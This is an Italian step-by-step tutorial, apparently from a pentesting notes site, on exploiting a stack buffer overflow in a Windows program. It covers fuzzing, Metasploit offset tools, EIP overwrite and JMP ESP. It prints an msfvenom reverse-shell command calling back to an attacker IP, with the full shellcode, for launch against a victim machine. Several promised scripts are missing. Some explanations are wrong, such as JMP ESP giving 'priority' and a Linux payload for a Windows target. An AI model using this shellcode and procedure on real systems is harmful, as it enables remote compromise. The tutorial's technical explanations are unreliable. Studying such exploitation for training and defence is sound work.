tags: buffer_overflow file


Che cos’è

Un buffer è un’area di posizioni di memoria adiacenti assegnate a un programma o applicazione per gestire i suoi dati di runtime. Il buffer overflow o overrun è una vulnerabilità comune nelle applicazioni o nei programmi che accettano più dati del buffer assegnato. Questa vulnerabilità consente all’applicazione di superare il buffer durante la scrittura dei dati nel buffer e sovrascrivere le posizioni di memoria vicine. Inoltre, questa vulnerabilità porta a un comportamento irregolare del sistema, crash del sistema, errori di accesso alla memoria, ecc. Gli aggressori sfruttano una vulnerabilità di buffer overflow per iniettare codice dannoso nel buffer per danneggiare i file, modificare i dati del programma, accedere a informazioni critiche, aumentare i privilegi, ottenere l’accesso alla shell, ecc.

Processo per verificare il buffer overflow

Può succedere che durante una enumerazione della macchina vittima si scopra un software web con il quale possiamo interagire e che ci permette di scaricarlo sulla nostra macchina locale, in una situazione di questo tipo possiamo scaricare il file e testarlo in locale per vedere come si comporta e come risponde a richieste particolari che ci potrebbero portare ad una exploitazione tramite buffer overflow.

Software necessari

Wine

In caso il software fosse in formato .exe (quindi di una macchina Windows) avremo bisogno di un software che ci permetta di eseguirlo sulla nostra macchina Linux attaccante e il software che ci permette di farlo si chiama Wine.

 
sudo apt-get update
 
sudo apt-get -y install wine
Ollydbg

L’installazione di questo software potrebbe creare problemi se non è installato correttamente Wine quindi è bene verificare che Wine funzioni correttamente con il comando winecfg che dovrebbe aprire una finestra di configurazione, una volta sistemati gli eventuali problemi possiamo scaricare Ollydbg con il comando:

sudo apt install ollydbg

Processo

Per prima cosa eseguiamo il codice, nel caso fosse un software Windows possiamo usare:

wine <software.exe>

Per far si che l’exploitazione tramite buffer overflow possa avvenire abbiamo bisogno che il software presente sulla macchina vittima permetta la connessione ad un utente esterno e lo possiamo verificare il locale tramite netcat. Una volta lanciato il software il locale possiamo fare una chiamata a questo software tramite Netcat con il seguente comando:

 
nc <indirizzo IP locale> <porta sulla quale gira il software>
 

Fuzz_crash.py

Adesso che abbiamo stabilito che l’applicazione autorizza connessioni remote possiamo verificare se il software sia stato scritto male o meno e provare a mandare in crash l’applicazione con una serie di caratteri che il software non è in grado di gestire. Per farlo possiamo utilizzare uno script python3 simile a quello presente a questa Fuzzer_Crash.py, ovviamente il software dovrà essere adattato al software in uso, se questo software manda in crash l’applicazione è molto probabile che il programma sia vulnerabile ad un attacco di buffer overflow. Un altro esempio di script è il seguente:

Come possiamo vedere dalla seguente immagine, dove nel lato sinistro c’è la macchina attaccante che esegue lo script sopra citato e a destra la risposta dell’applicazione, l’applicazione è andata in crash intorno a 602 bytes, ora dobbiamo capire l’esatto numero di byte che manda in crash l’applicazione.

Trovare il numero di byte giusti

Per capire quanti siano i byte esatti che mandano in crash l’applicazione dobbiamo modificare lo script python e al posto che inviare una serie di A mandiamo una serie di caratteri diversi, per crearli ci verrà in aiuto Metasploit tramite un programma di nome “pattern_create.rb” per utilizzarlo possiamo lanciare il seguente comando dove -l 600 rappresenta il numero grossolano di byte trovati in precedenza:

usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

Questa sequenza la dobbiamo mettere in uno script molto simile a quello che abbiamo usato per mandare in crash l’applicazione, lo puoi trovare a questa pagina Fuzzer_Trova_Byte.py, oppure un’altra versione potrebbe essere la seguente:

Ollydbg

Ora che abbiamo lo script dedicato possiamo aprire l’applicazione vulnerabile tramite Ollydbg che ci permetterà di capire il numero esatto di byte.

Dopo averlo eseguito tramite Ollydbg dobbiamo avviarlo tramite il pulsante Play.

Dopo aver avviato il programma vulnerabile possiamo lanciare il nostro scipt python e come si può vedere dall’immagine seguente il nostro script ci restituisce “CONDIZIONE DI OVERFLOW”, l’applicazione ci risponde con i caratteri che gli abbiamo mandato noi e Ollydbg fa vedere che il programma è in Pausa, perchè ha crashato.

Ora per capire il numero esatto di byte che ci serve possiamo andare su Ollydbg e copiarci/salvare il numero vicino alla voce EIP che ci servirà in seguito, come nell’immagine seguente:

Metasplot

Ora che abbiamo l’EIP possiamo trovarci il numero esatto di byte tramite un modulo di metasploit nel quale inseriamo il valore di EIP dopo la flag -q come nell’esempio qui sotto:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524

Il numero esatto di byte è 524.

Sovrascrittura dell’EIP

Ora che abbiamo il numero di esatto di byte dobbiamo provare a sovrascrivere il valore dell’EIP con caratteri riconoscibili come ad esempio una seria di A e 4 B in formato esadecimale che diventano 42424242 (questo numero 42424242 lo dovremo trovare idealmente al posto del valore originale dell’EIP, nel nostro caso 35724134), se questa operazione ha successo siamo in grado di eseguire codice arbitrario subito dopo il puntatore EIP (nel nostro caso una reverse shell).

Per fare questa operazione dobbiamo modificare il nostro file python come in questo esempio di codice che puoi trovare a questa pagina Fuzzer_sovrascrittura.py, oppure continuando con il nostro esempio come il seguente:

Questo ci permetterà di sovrascrivere l’EIP con il valore di BBBB in formato esadecimale e in seguito appariranno delle C che sarà la zona di memoria nella quale inserire il nostro payload, nelle immagine seguenti viene mostrato proprio questo:

Come puoi vedere il valore dell’EIP è diventato 42424242.

Verificare lo spazio per una shellcode

Ora che sappiamo che possiamo sovrascrivere l’EIP dobbiamo vedere quanto spazio abbiamo a disposizione per la nostra shellcode (che sarebbe lo spazio occupato dalle C nello script precedente). Per farlo dobbiamo modificare lo script python in modo inserire nell’applicazione una quantità di C paragonabili a 1024 byte che sono sufficienti per una shellcode, come nel seguente esempio:

La sezione dove sono presenti i 43 sarà la zona di memoria nella quale andremo ad inserire la nostra shellcode.

Caratteri che creano problemi

Può succedere che durante la creazione di una shellcode vengano inseriti dei caratteri che l’applicazione non riesce a gestire e quindi impedirebbe l’esecuzione della nostra shellcode, per evitare che questo succeda possiamo creare un altro script in python che ci dica quali caratteri l’applicazione non è in grado di gestire in modo tale da poterci creare una shellcode che non abbia quei caratteri dannosi. Un esempio potrebbe essere lo script presente a questa pagina Fuzzer_Cattivi_Caratteri.py, che ci indica quali caratteri non vanno bene.

Ricapitolando

Ora abbiamo capito che possiamo modificare l’EIP che è quella zona di memoria che indica l’indirizzo di memoria dell’istruzione successiva, abbiamo scoperto che la nostra shellcode può essere contenuta nella parte successiva all’EIP e abbiamo scoperto che non ha particolari caratteri che non riesce a processare possiamo mettere al posto dell’EIP il Jump ESP (il Jump ESP è una sezione particolare della memoria che permette ad un istruzione di essere eseguita da qualsiasi parte della memoria immediatamente, sostanzialmente da priorità ad un processo rispetto ad un altro) per far si che il programma indirizzi l’esecuzione del processo presente nell’ESP dove è presente la nostra shellcode (l’ESP è la zona di memoria nella quale è contenuta un’istruzione, nel nostro caso una shellcode).

Quindi l’idea è:

  • Modifichiamo l’EIP con l’indirizzo Jump ESP che porta alla sezione di memoria ESP nella quale è contenuta la nostra shellcode
  • Il programma al posto che eseguire il processo legittimo viene reindirizzato a processare l’indirizzo di memoria nella quale è contenuta la nostra shellcode.

Trovare il valore del Jump ESP

Prima di procedere con i passaggi citati di sopra dobbiamo trovare il valore del Jump ESP tramite OllyDBG e inserirlo nel nostro script Python, per farlo possiamo cercare nella schermata principale la voce Jump ESP e copiarci il valore a fianco, come nel seguente esempio:

Ora che abbiamo il valore del Jump ESP lo dobbiamo invertire in un processo chiamato Little Indian ovvero copiare a partire dalla fine il numero mantenendo però le coppie, nel nostro caso il valore del Jump ESP è 311712F3 e convertito diventa F3121731, nel nostro script dovrà essere inserito in questo modo \xF3\x12\x17\x31.

Creare la shellcode

Per creare la shellcode possiamo utilizzare msfvenom tramite il seguente comando:

msfvenom -p linux/x86/shell/reverse_tcp -b \x00 LHOST=10.14.83.140 LPORT=5555 -f python 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 150 (iteration=0)
x86/shikata_ga_nai chosen with final size 150
Payload size: 150 bytes
Final size of python file: 754 bytes
buf =  b""
buf += b"\xdb\xc9\xbb\x1d\xe4\x66\x0c\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x1f\x83\xc2\x04\x31\x5a\x16\x03\x5a"
buf += b"\x16\xe2\xe8\x8e\x6c\x52\x23\x94\x86\x89\x10\x69"
buf += b"\x3a\x24\x94\xdd\xda\x31\x79\xd0\xa3\xd5\x22\x83"
buf += b"\xa9\xd7\x87\xdf\xc6\xe5\x27\xf5\xa5\x63\xc6\x9f"
buf += b"\xaf\x2b\x58\x31\x67\x45\xb9\xf2\x4a\xd5\xbc\x35"
buf += b"\x2d\xcf\xf0\xc1\xf3\x87\xae\x2a\x0c\x58\xf6\x40"
buf += b"\x0c\x32\x03\x1c\xef\xf3\xc2\xd3\x70\x76\x14\x92"
buf += b"\xcd\x92\xb3\xd7\x29\xdc\xbb\x07\x36\x1e\x32\xc4"
buf += b"\xf7\xf5\x48\xca\x1b\x05\xe0\xb1\x16\x96\x85\x8a"
buf += b"\xd1\x87\xde\x83\xc3\x31\x52\xb7\xb3\x41\x5f\x38"
buf += b"\x36\x85\x27\x3b\xc6\xe7\x6f\x3a\x38\xe8\x8f\x86"
buf += b"\x39\xe8\x8f\xf8\xf4\x68"

La parte che dovremo inserire nel nostro codice sarà la seguente (nota che le b devono essere tolte):

buf =  ""
buf += "\xdb\xc9\xbb\x1d\xe4\x66\x0c\xd9\x74\x24\xf4\x5a"
buf += "\x29\xc9\xb1\x1f\x83\xc2\x04\x31\x5a\x16\x03\x5a"
buf += "\x16\xe2\xe8\x8e\x6c\x52\x23\x94\x86\x89\x10\x69"
buf += "\x3a\x24\x94\xdd\xda\x31\x79\xd0\xa3\xd5\x22\x83"
buf += "\xa9\xd7\x87\xdf\xc6\xe5\x27\xf5\xa5\x63\xc6\x9f"
buf += "\xaf\x2b\x58\x31\x67\x45\xb9\xf2\x4a\xd5\xbc\x35"
buf += "\x2d\xcf\xf0\xc1\xf3\x87\xae\x2a\x0c\x58\xf6\x40"
buf += "\x0c\x32\x03\x1c\xef\xf3\xc2\xd3\x70\x76\x14\x92"
buf += "\xcd\x92\xb3\xd7\x29\xdc\xbb\x07\x36\x1e\x32\xc4"
buf += "\xf7\xf5\x48\xca\x1b\x05\xe0\xb1\x16\x96\x85\x8a"
buf += "\xd1\x87\xde\x83\xc3\x31\x52\xb7\xb3\x41\x5f\x38"
buf += "\x36\x85\x27\x3b\xc6\xe7\x6f\x3a\x38\xe8\x8f\x86"
buf += "\x39\xe8\x8f\xf8\xf4\x68"

Ora che abbiamo la shellcode la possiamo inserire nello script python che exploiterà il software.

Fuzzer_Shellcode.py

Ora ci dobbiamo modificare lo script in modo tale che al posto delle C sia presente la nostra shellcode appena creata e al posto dell’EIP sia presente il Jump ESP, un esempio di script lo puoi trovare alla pagina Fuzzer_Shellcode.py, oppure seguendo l’esempio corrente possiamo usare uno script di questo tipo:

Ora al posto dell’indirizzo locale (che è quello su cui abbiamo lavorato fino adesso per testare il software) dobbiamo mettere l’indirizzo della macchina vittima perchè ora viene lanciato l’attacco vero e proprio.

Una volta modificato correttamente lo script lo possiamo lanciare come abbiamo fatto in precedenza dopo ovviamente aver creato tramite metasploit un listener con lo stesso payload, la stessa porta e l’indirizzo IP della macchina attaccante.